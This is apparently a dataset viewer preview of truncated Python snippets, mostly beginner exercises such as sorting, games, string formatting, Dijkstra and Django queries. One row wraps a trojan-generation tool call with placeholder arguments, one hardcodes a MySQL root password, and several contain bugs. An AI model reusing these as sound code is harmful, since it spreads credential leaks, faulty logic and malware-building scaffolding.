text stringlengths 37 1.41M |
|---|
# https://codecombat.com/play/level/northwest
# Your pet should find and bring a potion to the hero.
# This function checks if the word is in the text.
def wordInText(text, word):
# Iterate letter indexes in the text.
for i in range(len(text) - len(word)):
# For each index loop through the word.
... |
import time
import numpy as np
from numpy import linalg as LA
def backward_induction(self, time=False):
"""
Given a ToDoListMDP, perform value iteration/backward induction to find the optimal policy
Input: ToDoListMDP
Output: Optimal policy (and time elapsed if specified)
"""
start = time.time... |
"""
Read file into texts and calls.
It's ok if you don't understand how to read files.
"""
import csv
with open('texts.csv', 'r') as f:
reader = csv.reader(f)
texts = list(reader)
with open('calls.csv', 'r') as f:
reader = csv.reader(f)
calls = list(reader)
"""
TASK 4:
The telephone company want to i... |
import random
def play():
player_choice = input("Select rock, paper, or scissors: ").lower()
pc_choice = random.choice(["rock", "paper", "scissors"])
if player_choice == pc_choice:
print("cool")
elif player_choice == "paper" and pc_choice == "rock" or player_choice == "rock" and pc_c... |
def num_generator():
yield 1
yield 2
yield 3
for i in num_generator():
print(i)
ng = num_generator()
a = next(ng)
print(a)
b = next(ng)
print(b)
c = next(ng)
print(c)
def Rgenerator():
for i in range(10):
return i
print(Rgenerator())
def Ygenerator():
for i in range(10):
... |
# 문제 설명
# 다음을 만족하는 함수, solution을 완성해주세요.
# solution 함수는 이차원 리스트, mylist를 인자로 받습니다
# solution 함수는 mylist 원소의 행과 열을 뒤집은 한 값을 리턴해야합니다.
# 예를 들어 mylist [ [1,2,3], [4,5,6], [7,8,9] ]가 주어진 경우, solution 함수는 [[1, 4, 7], [2, 5, 8], [3, 6, 9]] 을 리턴하면 됩니다.
# 제한 조건
# mylist의 원소의 길이는 모두 같습니다.
# mylist의 길이는 mylist[0]의 길이와 같습니다.
# 각... |
import math
numbers = [int(input()) for _ in range(5)]
multiplied = 1
flag = True
for number in numbers:
multiplied *= number
print('multiplied', multiplied)
print('math.sqrt(multiplied)', math.sqrt(multiplied))
print('int(math.sqrt(multiplied))', int(math.sqrt(multiplied)))
if math.sqrt(multiplie... |
# # 운행횟수 N
# # 배차간격(분) T
# # 정원 M
# def toSec(time):
# m, s = time.split(":")
# return int(m)*60 + int(s)
# def toMin(sec):
# m, s = divmod(sec, 60)
# return '%02d' % m + ":"+ '%02d' % s
# def solution(n, t, m, timetable):
# answer = ''
# t *= 60
# waitings... |
# working with Strings
character_name = "Mike"
character_age = "35"
print("There once was a man named " + character_name + ", ")
print("He was " + character_age + " years old.")
print("He really liked the name " + character_name + ", ")
print("but didn't like being " + character_age + ".")
# new line in a string
# ... |
# The system imports arguments
from sys import argv
# The script and filename is imported into the arguments
script, filename = argv
# printing the lines and inside the curly brackets is putting the filename in the line
print(f"We're going to erase {filename}.")
print("If you don't want that, hit CTRL-C (^C).")
print("... |
class Car:
def __init__(self, name, model, max_speed):
self._name = name
self._model = model
self._max_speed = max_speed
def __int__(self):
return self._max_speed
def __str__(self):
return self._name + " " + self._model
class Driver:
def __init__(self, name, c... |
def fib(n):
x,y=0,1
for i in range(n):
print (x)
x,y=y,x+y
fib(10)
def fib():
x,y=0,1
print(x)
print(y)
while(True):
yield (x+y)
x,y=y,x+y
x=fib()
for i,j in zip(x,range (10)):
print(i)
|
n=int(input())
if (n)%2==0 and n!=2:
print("YES")
else:
print("NO") |
from tkinter import *
from quiz_brain import QuizBrain
THEME_COLOR = "#375362"
FONT = ("Arial", 20, "italic")
class QuizInterface:
def __init__(self, quiz_brain: QuizBrain):
self.quiz = quiz_brain
self.window = Tk()
self.window.title("Quizaholic")
self.window.config(padx=20, pady=... |
#!/usr/bin/env python
# Author Dario Clavijo 2020
# Get ssl certificates from most common ports
import sys
import ssl
ssl.DEFAULT_CIPHERS = 'ALL'
ports = [25,261,443,448,465,563,587,614,636,686,989,990,993,994,995,3389]
import fileinput
for line in fileinput.input():
hostname = line.rstrip()
for port in ports:
... |
#!/usr/bin/env python
# The way the machine multiplies
# Author Dario Clavijo 2016
# GPLv3
bits = 9
multiplier = 256
multiplicand = 256
print multiplicand,"*",multiplier
product = 0
for i in range(0,bits):
if (multiplier & 1) == 1:
product = product + multiplicand
multiplicand = multi... |
# Pranav has a matrix of size n * m with him. He want to traverse it in a zig zag fashion such that first he'll go one step forward in both x and y directions and then he goes 1 step backward in x direction and 1 step forward in y direction. After this he does the same with 2, 3, ... upto k steps, until he reaches the ... |
# -*- coding: utf-8 -*-
import pyowm
import json
from datetime import datetime
class Weather:
def __init__(self):
self.owm = pyowm.OWM(YOUR_API_KEY)
def search(self, city):
try:
obs = self.owm.weather_at_place(city)
weather = self.parse_data(obs)
for k, ... |
# [2016-12-05] Challenge #294 [Easy] Rack management 1
# https://www.reddit.com/r/dailyprogrammer/comments/5go843/20161205_challenge_294_easy_rack_management_1/
def scrabble(letters,word):
for i,x in enumerate(word):
if set(x) & set(letters):
letters = letters.replace(x, "", 1)
elif set(letters) & set("?"):
... |
def concatenated(nums):
nums = sorted(nums,key=str)
for i,v in enumerate(nums[:-1]):
if str(v)[0] == str(nums[i+1])[0]:
if avg(str(v)) > avg(str(nums[i+1])):
nums[i], nums[i+1] = nums[i+1],nums[i]
small = ''
for i in nums:
small += str(i)
print(small)
large = ''
for i in reversed(nums):
large +=... |
from player import player
from time import sleep
import random
class Move(object):
row = 0
col = 0
class difficulty(object):
easy = 2
medium = 4
hard = 5
expert = 8
class game:
numPlayers = 2
boardWidth = 4
boardHeight = 4
currentPlayer = player()
opponent = player()
num... |
# user input for user name
user_name = input('username: ')
# user pasword
pass_word = input('password: ')
# create a variable to check for the password length
pass_length = len(pass_word)
# create a variable pass_hidden to hide the password when it is printed
pass_hidden = pass_length * '*'
print(f'Hello {user_name} y... |
#Classe Macaco: Desenvolva uma classe Macaco,que possua os atributos nome e bucho
##(estomago) e pelo menos os métodos comer(), verBucho() e digerir().
## Faça um programa ou teste interativamente, criando pelo menos dois macacos,
## alimentando-os com pelo menos 3 alimentos diferentes e verificando o conteúdo do
#... |
def converteHora(a_ou_p, hora, min):
if a_ou_p == 'P':
hora += 12
return f"São {hora}:{min}."
print("=================CONVERSOR DE HORARIO================\n")
while True:
a = input("CONVERTENDO HORARIO\n\nOpções:\n"
"1- Digite 'A' para um horário A.M.\n"
... |
for x in range(99,0,-1):
if x >=1:
print(x,"bottles of beer on the wall",x,"bottles of beer.")
print("Take one down and pass it around,")
print(x-1,"bottles of beer on the wall.")
elif x==2:
print(x, "bottles of beer on the wall",x,"bottles of beer.")
print("Take one down... |
import json
from err import *
#This class represents a datatable of a function it includes methods to create new variables,to get their value, address, type.
#This class also include a print method to print all of its content as if it was a json.
#This function is used by the parser to create new tables for all of t... |
categorias = [ "Profissão", "Fruta", "Animal", "País", "Objeto", "Cidade" ]
import random
import string
jogar = "a"
while jogar == "a":
erros = 0
letras_escolhidas = []
categoria = random.choice(categorias)
def escolha_pal(nome, max_):
global palavra
global palavra_... |
class Solution:
# @param board, a 9x9 2D array
# @return a boolean
def isValidSudoku(self, board):
rowset = set()
columnset = set()
for i in range(9):
rowset.clear()
columnset.clear()
for j in range(9):
if board[i][j] != '.':
if board[i][j] in rowset:
... |
#number of consecutive absents allowed=a
a=int(input("Enter number of consecutive absents allowed: "))
n=int(input("Enter number of days: "))
ways=[0 for i in range(a)]
ways.append(1)
hard_coded_size=a+1
for i in range(0,n+1):
i=i+hard_coded_size
val=0
for j in range(1,hard_coded_size+1)... |
var=10
while var>0:
var=var-1
if var ==5:
continue
print('Current value :',var)
print('See you again')
|
print('Number \t Square')
print('______________________________________')
for number in range(1,201):
square= number**2
print(number,'\t',square)
|
""" Dijkstra's shortest-path algorithm implementation
This implementation is admittedly tightly-coupled to my particular city_data data set
(to add clarity in understanding by making it tied to concrete data).
The city_data is a list of 28 large cities in the United States, with some considered
neighbors of the other... |
"""quicksort.py - implementation of quicksort. """
__author__ = "Caleb Madrigal"
__date__ = "2015-02-14"
def quicksort(lst):
if len(lst) < 2:
return lst
else:
pivot = lst[-1]
low = []
high = []
for i in lst[:-1]:
if i <= pivot:
low.append(i)... |
import re
#findall
text ="a hello human in the world"
pattern =re.compile("a hello")
result = pattern.search(text)
print(result)
email =input("give ur email:")
pat =re.compile("[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+")
test = pat.search(email)
print(test) |
import turtle
r_t = turtle.Turtle()
rohith=str(input("is rohith is happy/sad:"))
while rohith == "happy":
r_t.forward(10)
|
dictionary = {'apple': 5, 'chikku': 6}
print(dictionary["apple"])
print(dictionary.get("apple"))
print(dictionary.get("mango"))
contact = {
"ram": ["904850612", "ram@gmail.com"],
"raju": ["99567123", "raju@gmail.com"]
}
print(contact.get("ram"))
strings = int(input("enter the length:"))
# words= str.split(" "... |
"""
By listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6th prime is 13.
What is the 10 001st prime number?
"""
import math
primeList = []
def is_prime(num):
threshold = int(math.sqrt(num))
for b in primeList:
"""
in python, for x in the list is to go over ever... |
class Dragons:
def __init__(self, name, place):
self.name = name
self.place = place
def info(self):
print(f'the dragon is {self.name}, lives in {self.place} area')
class Ancient_dragons(Dragons):
def __init__(self, name, place, specialty):
super().__init__(name,place)
... |
# -*- coding: utf-8 -*-
# example
from c_parse.c_parse import CommandLineParser
# usage: python example.py -f ex/ex.txt prints the file content
# python example.py -h show help page
# in c_parse arguments are optional by default
# will print out the content of a file passed in as argument
class Example(ob... |
#Kelsey Nguyen
#CPE 202 Section 7
#Lab 7
import unittest
import random
import time
#list --> int
#Sorts a list using quick sort with the first element always chosen as pivot
#Step 1: Call the quicksort helper function, passing in the list, 0, and length of list -1
def quicksort(alist):
return quicksort_helper(... |
#Kelsey Nguyen
#CPE 202 Section 7
#Project 1
#int (number), int (base) --> str
#Recursive function that returns a string representing num in the base b
def convert(num, b):
#Step 1: Make string variable (digits, in this case) that allows user to index into a table of characters to support bases greater than 10
#Step 2... |
# Kelsey Nguyen
# Section 07
def weight_on_planets():
age = int(input("What do you weigh on earth? "))
my_string = "\nOn Mars you would weigh {:.2f} pounds.\nOn Jupiter you would weigh {:.2f} pounds."
print(my_string.format(age*0.38, age*2.34))
if __name__ == '__main__':
weight_on_planets() |
#Import
import torch.nn as nn
#Define neural network
#Takes the depth, width, input size and output size as arguments
class Net(nn.Module):
def __init__(self,depth,width,input_size,output_size):
super(Net, self).__init__()
self.layers = nn.ModuleList([nn.Linear(input_size,width)]+[nn.Linea... |
def car_info(model, year_manfactured, **more_info):
"""Save info about a car in a dictionary"""
car_in = {}
car_in['model'] = model.title()
car_in['year made'] = year_manfactured
# will it be stored as a string? I think yes,
# it stores in whatever way you input it which means
# whenever you... |
def get_formatted_name(first, last, middle=''):
"""will print a neat line of code"""
if middle:
full_name = first + " " + middle + " " + last
else:
full_name = first + " " + last
return full_name.title()
# print("Please give us your name. Type q to quit whenever")
# while True:
# ... |
import this
message = ("hello python world")
print(message)
message = ("Hello python world interperter")
print(message)
name = "ada lovance"
print(name.title())
first_name = "suga"
last_name = "yoongi"
fulle_name = first_name + " " + last_name
greeting = "Hello, " + fulle_name.title() + "!"
print(greeting)
print... |
# [] list
# () tuples
# {} dictionaries
alien_0 = {'color': 'green', 'points': 5}
print(alien_0['color'])
print(alien_0['points'])
new_points = alien_0['points']
print("You just earned " + str(new_points) + " points!")
print(alien_0)
alien_0['x_posistion'] = 0
alien_0['y_posistion'] = 25
print(alien_0)
alien_1 = ... |
import json
numbers = [34, 17, 7, 18, 9]
filename = 'numbers.json'
with open(filename, 'w') as file_object:
json.dump(numbers, file_object)
with open(filename) as file_object:
# if not speceified default action when file is called is to read
numbers = json.load(file_object)
print(numbers)
# remeber us... |
import matplotlib.pyplot as plt
x_values = list(range(1, 501))
y_values = [x**3 for x in x_values]
# the ** stars raises numbers to the power of and
# than the number you put after it is teh power
# you need it raised too
plt.scatter(x_values, y_values, c=y_values, cmap=plt.cm.Oranges, edgecolor='none')
# the more pl... |
__author__ = 'Nickolas'
class SS:
class InvalidSocial(ValueError):
pass
def __init__(self,ss=None):
if ss is None:
self.getsocial()
else:
self.ss = ss
def __str__(self):
return self.ss
def validatess(self):
try:
area, group... |
# -----------------------------------
# importamos librerías con funciones predefinidas
# ----------------------------------
import datetime
import math
import matplotlib.pyplot as plt
import numpy as np
def MiFuncion (X):
Resultado = math.sin(X)
return Resultado
# ----------------------------
# NUES... |
#Generating two random numbers
import random
a=7111411111711232535883104105108112973277117114971536356363563967039560953609357630497576304987652454264624624642
#0810532741011011181051161049732771171121129710897
b=81053274101101118105116104973277117112112971089773643635634634636356534562464642612346357537576246524524647... |
from leet_code.helper import TreeNode
class Solutions:
def preorder_traversal_recursive(self, root, result):
if root:
result.append(root.val)
self.preorder_traversal_recursive(root.left, result)
self.preorder_traversal_recursive(root.right, result)
def preorder_tra... |
class Solutions:
def rotate(self, matrix) -> None:
matrix.reverse()
print(matrix)
for row in range(len(matrix)):
for col in range(row):
matrix[row][col], matrix[col][row] = matrix[col][row], matrix[row][col]
def main():
s = Solutions()
s.rotate([[1, 2, 3... |
class Solution:
def reverse(self, x):
max_int = 2 ** 31 - 1
result = 0
if x < 0:
sign = -1
x = x * -1
else:
sign = 1
while x >= 10:
result = result * 10 + x % 10
x = x // 10
if result > max_int // 10 or (resu... |
class Perro():
def __init__(self, n, p, e):
self.nombre=n
self.peso=p
self.edad=e
def __str__(self):
return "Perro con nombre: %s" % self.nombre
def __float__(self):
return self.peso
def ladrar(self):
if self.peso >= 8:
print("%s: WOOF WOOF" % self.nombre)
else:
print("%s: Woof" % self.... |
from os.path import isfile
PROMPT = "> "
def copy(FROM_FILE, TO_FILE):
try:
while True:
if isfile(FROM_FILE) == False:
while True:
print "\n\t\t\tThat is not a file or is not exists!!!"
FROM_FILE = raw_input("\n--> Enter a file " + PROMPT)
if isfile(FROM_FILE) == True:
break
else:
... |
def generate_hashtag(s):
#your code here
if len(s) == 0:
return False
data = s.split(' ')
for item in data:
if len(item) != 0:
data[data.index(item)] = item.capitalize()
result = '#'+''.join(data)
if len(result) >= 140:
return False
return result |
def valid_parentheses(string):
contour = 0
if string[:1] == ')' or string[-1:] == '(':
return False
for item in string:
if contour < 0:
return False
if item == '(':
contour += 1
if item == ')':
contour -= 1
if contour == 0:
retu... |
#!/bin/python
import sys
import copy
import re
infile = open(sys.argv[1], "r")
class Deck:
def __init__(self, player, cards):
self.name = player
self.cards = cards
def drawCard(self):
return self.cards.pop(0)
def winRound(self, cards):
self.cards += cards
def cardCo... |
#!/bin/python
import sys
import re
infile = open(sys.argv[1], "r")
ruleMap = {}
for line in infile:
line = line.rstrip()
parts = line.split(" bags contain")
ruleFor = parts[0]
if parts[1] == " no other bags.":
ruleMap[ruleFor] = 0
continue
ruleMap[ruleFor] = {}
rules = pa... |
from pandas import *
from math import sqrt
class Knn:
labeled = DataFrame() #holds data with classes for "training"
unlabeled = DataFrame() #holds data without classes for testing
classes = [] #the list of all possible classes
classFrame = DataFrame() #frame of distance to the test point and corresponding classes
... |
#***(1)Returns all students from student table
student = Student.objects.all()
#(2)Returns first student in table
firstStudent = Student.objects.first()
#(3)Returns last student in table
lastStudent = Student.objects.last()
#(4)Returns single student by name
studentByName = Student.objects.get(name='Peter Piper')
#... |
def nan_expand(times):
nan = ""
if times != 0:
while times != 0:
nan = nan + "Not a "
times -= 1
nan = nan + "NaN"
return nan
print(nan_expand(1))
|
def biggest_difference(arr):
min = arr[0]
max = arr[0]
for i in arr:
if i < min:
min = i
if i > max:
max = i
return min - max
print(biggest_difference([-10, -9, -1]))
|
def sum_of_digits(n):
sum=0
while n!=0:
sum =sum + n%10
n = n//10
return sum
print (sum_of_digits(1325132435356)) |
def unique_words_count(arr):
dictionary = {}
count = 0
for item in arr:
if item not in dictionary:
dictionary[item] = 1
count += 1
return count
#print (unique_words_count(["apple", "banana", "apple", "pie"]))
|
import unittest
from playlist import Playlist
from song import Song
class PlaylistTest(unittest.TestCase):
def setUp(self):
self.song1 = Song("Title1", "Artist1", "Album1", 2, 192, 128)
self.song2 = Song("Title2", "Artist2", "Album2", 2, 183, 1024)
self.playlist = Playlist("PlaylistTitle"... |
first_name = ["Tasnuva", "Sadia", "Sabita"]
last_name = ["Leeya", "Lamia", "Zinia"]
full_name = zip(first_name, last_name)
for a, b in full_name:
print(a, b)
|
food =['apple', 'orange', 'banana', 'mangoe']
for f in food[:2]:
print(f) |
groceries = {'cereal', 'milk','rice', 'beer', 'beer'}
if 'milk' in groceries:
print('you already have milk')
else:
print('oh yes u need milk')
|
# Numbers and simple math operations in python
# importing math module for basic math functions
# for understanding modules see modules.py
import math
# whole Number or int
myNum = 20
# floating Number or float
myNumFloat = 20.0
# addition
print(45 + 98)
# subtraction
print(34 - 19)
# division
print(36 / 4)
# mult... |
for i in range(1,101):
if i %3 == 0 and i %5 == 0 and i %7 == 0:
print('PlicPlacPloc') # Esta condicion se cumple si es divisible entre 3, 5 y 7
elif i %3 == 0 and i%5 == 0:
print('PlicPlac') # Esta condicion se cumple si es divisible entre 3 y 5
elif i %3 == 0 and i %7 == 0:
print... |
import numpy as np
y=np.array((1,4,5,8,3,4)).reshape(2,3)
print(y)
b=np.cos(y)
print(b) |
#developer:-RIYA MATHUR
#language chosen:- Python 3.x
import random
print("******stone ,paper, scissor******")
print("to play press 1")
print("for exit press 0")
p=int(input(" your choice"))
while True:
while (p==1):
print("\n")
print("enter1 for stone:")
print("enter 2 for paper:")
print("enter 3 for scisso... |
def get_student_information():
# Prompt user for student's identification information...
name = input('Please enter the student\'s name. ')
phone_number = input('Please enter the student\'s phone_number. ')
return [name, phone_number]
def create_student(**student):
"""
A triple-quoted string a... |
# F=0, B=1
# L=0, R=1
# The seat is 10 letters, 7 left letters are row, 3 right are column
# Seat ID = row*8+col
class Seat(object):
def __init__(self, row, col):
self.row = self.convert_seat_to_number(row)
self.col = self.convert_seat_to_number(col)
@staticmethod
def convert_seat_to_numb... |
import math
# Class for storing vector data, including helper functions
class Vector3():
def __init__(self, x = 0, y = 0, z = 0):
self.x = x
self.y = y
self.z = z
def __add__(self, other):
return Vector3(self.x + other.x, self.y + other.y, self.z + other.z)
def __str__(self)... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Mar 17 10:24:45 2021
@author: the-james
"""
#import libraries
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
#Part 1 - Data preprocessing
#import the training set
#ranges in python have upper range/bound excluded
dataset_train... |
#Trojan creator
#Determine the file extension according to the trojan you prepared
import subprocess
message = "Please check the save file"
def windows_trojan(wtool,wpayload,wplatform,wa,wlhost,wlport,wfile,woutput):
subprocess.call([wtool, "-p", wpayload, "--platform", wplatform, "-a", wa, f"lhost={wlho... |
import random
n = 2 ** 10
res = [['#' if random.randint(0,1)==1 else '.' for _ in range(n)] for _ in range(n)]
k = 10
for _ in range(k):
x,y = [random.randint(0,n-1) for _ in range(2)]
res[y][x] = '?'
print('%d' % n)
for s in res:
print(''.join(s))
|
""" Code for Advent of Code, Day 6 """
import unittest
def advent_6a(input_string):
""" Solve advent problem 6a """
initial = [int(x) for x in input_string.split()]
return num_steps(initial)
def advent_6b(input_string):
""" Solve advent problem 6b """
initial = [int(x) for x in input_string.split(... |
""" Code for Advent of Code Day 10 """
import unittest
def advent_10a(file_name):
""" Get the product of the first two numbers in the list after twisting, including file IO """
with open(file_name) as input_file:
list_length = int(input_file.readline())
list_to_process = [x for x in range(0, li... |
while True:
cpf = input("Digite seu cpf: ")
novo_cpf = cpf[:-2]
contador = 10
soma = 0
for i in range(19):
if i > 8:
i -=9
soma += int(novo_cpf[i]) * contador
contador -= 1
if contador < 2:
contador = 11
d... |
# solutions.py
"""Volume 2: Polynomial Interpolation.
<Name>
<Class>
<Date>
"""
import numpy as np
import matplotlib.pyplot as plt
import scipy.linalg as la
from scipy.interpolate import BarycentricInterpolator
# Problem 1
def lagrange(xint, yint, points):
"""Find an interpolating polynomial of lowest degree throu... |
# interior_point_linear.py
"""Volume 2: Interior Point for Linear Programs.
<Name>
<Class>
<Date>
"""
import numpy as np
from scipy import linalg as la
from scipy.stats import linregress
from matplotlib import pyplot as plt
# Auxiliary Functions ---------------------------------------------------------
def startingP... |
# import calendar
# print(calendar.month(2020, 9))
# a = "geeksforgeeks"
#
# b = list(a)
# print(b)
# print((1 + 3)**2)
# print("hello \"world\"")
#
# print(input("what is your name? : "))
# a = input("Введите первое число : ")
# b = input("Введите второе число : ")
# print(int(a) + int(b))
# name = input('Ваше и... |
from person import Person
person_john = Person("John", "01/03/1984", "male")
print(person_john.name)
class Student(Person):
def chage_name(self):
if "student" not in self.name:
self.name = "student" + self.name
class Employer(Person):
def chage_name(self):
if "Employer" not in se... |
#1! and 0! are 1. others are recursively calculated
def factorial(n):
if n==1 or n==0:
return 1
else:
return n*factorial(n-1)
#n is total, k is selection
def choose(n,k):
top = factorial(n)
bottom = factorial(k) * factorial(n-k)
return top/bottom
#binomial event. success = prob, fa... |
#conversao de kelvin para celsius
kelvin = float(input('Informe a temperatura em Kelvin:'))
celsius = kelvin - 273.15
msg = 'Temperatura em Celsius: {}'
print(msg.format(celsius))
|
#calculo da area do losango
diagonal1 = float(input('Insira a primeira diagonal: '))
diagonal2 = float(input('Insira a segunda diagonal: '))
area = (diagonal1*diagonal2)/2
msg = 'A area do losango é {}'
print(msg.format(area))
|
nome = input('Digite seu nome: ')
quarto = input('Informe o numero do quarto: ')
msg = 'Olá {0} seu quarto é o {1}'
print(msg.format(nome,quarto))
|
import cv2
import numpy as np
import math
def adaptiveNormalization(image):
"""
Apply adaptive normalization on all channels of image and merge
the channels
Input:
image -- a numpy array representation of the image
Output:
image processed by adaptiveNormalization
"""
b, g, r = cv2.split(img)
clahe = cv2.cr... |
import unittest
from app.models import NewsSource
class NewsSourceTest(unittest.TestCase):
'''
Test Class to test the behavior of the News_source Class
'''
def setUp(self):
'''
setup method that runs before every test
'''
self.new_source = NewsSource("bbc-news","OP26: ... |
import math
def square_root_binsearch(number = 3,precision = 9*(10**(-11))):
minimum = float(1)
maximum = float(number)
accurate_value = math.sqrt(number)
approximate_sqrt = (minimum + maximum)/2
error = approximate_sqrt - accurate_value
absolute_error = abs(error)
while abso... |
###DBへのアクセス及び挿入するための関数
#DBは作成されているものとする
#科目コードは文字列で定義している
#SQLアクセス用のモジュールを追加
import MySQLdb
##引数をそれぞれ、授業コード 学部 授業名 授業のURL 教授 校地 単位数とする 科目コードのみ
def Tomysql(num,name1,name2,name3,name4,name5,name6):
connection =MySQLdb.connect(
host="localhost",
user="root",
passwd="5152wejhhv",
#予め作っ... |
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
from queue import PriorityQueue
v = 14
graph = [[] for i in range(v)]
# Function For Implementing Best First Search
# Gives output path having lowest cost
def best_first_search(source, target, n):
visited = [0] * n
visited[0] = True
pq = PriorityQueue(... |
a=raw_input()
n=len(a)
r=0
k=0
for i in range(0,n):
if(a[i]>='a' and a[i]<='z'):
r=r+1
if(a[i]>='0' and a[i]<='9'):
k=k+1
if((r and k)>0):
print("yes")
else:
print("no")
|
# /usr/bin/env python
# coding:utf-8
#列表:一组数据
#List是有序的序列
#序列中的每个元素分配一个数字,就是索引,也是位置角标,坐标
'''
list1 = ["hello", 18,"百度","京东" ]
print(list1)
print(type(list1))
#访问列表
print(list1[0])
print(list1[2:]) #访问从下标2以后的
print(list1[1:3]) #1-3,左闭右开
#更新
list1[1] = 14
print(list1)
#添加操作
list1.append('apple')
list1.append(16)
pr... |
# /usr/bin/env python
# coding:utf-8
class Person: #没有构造函数
def get_name(self):
return self.name
def set_name(self,name):
self.name=name
if __name__=="__main__":
per1=Person()
per1.set_name("hanmeimei")
print(per1.get_name()) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.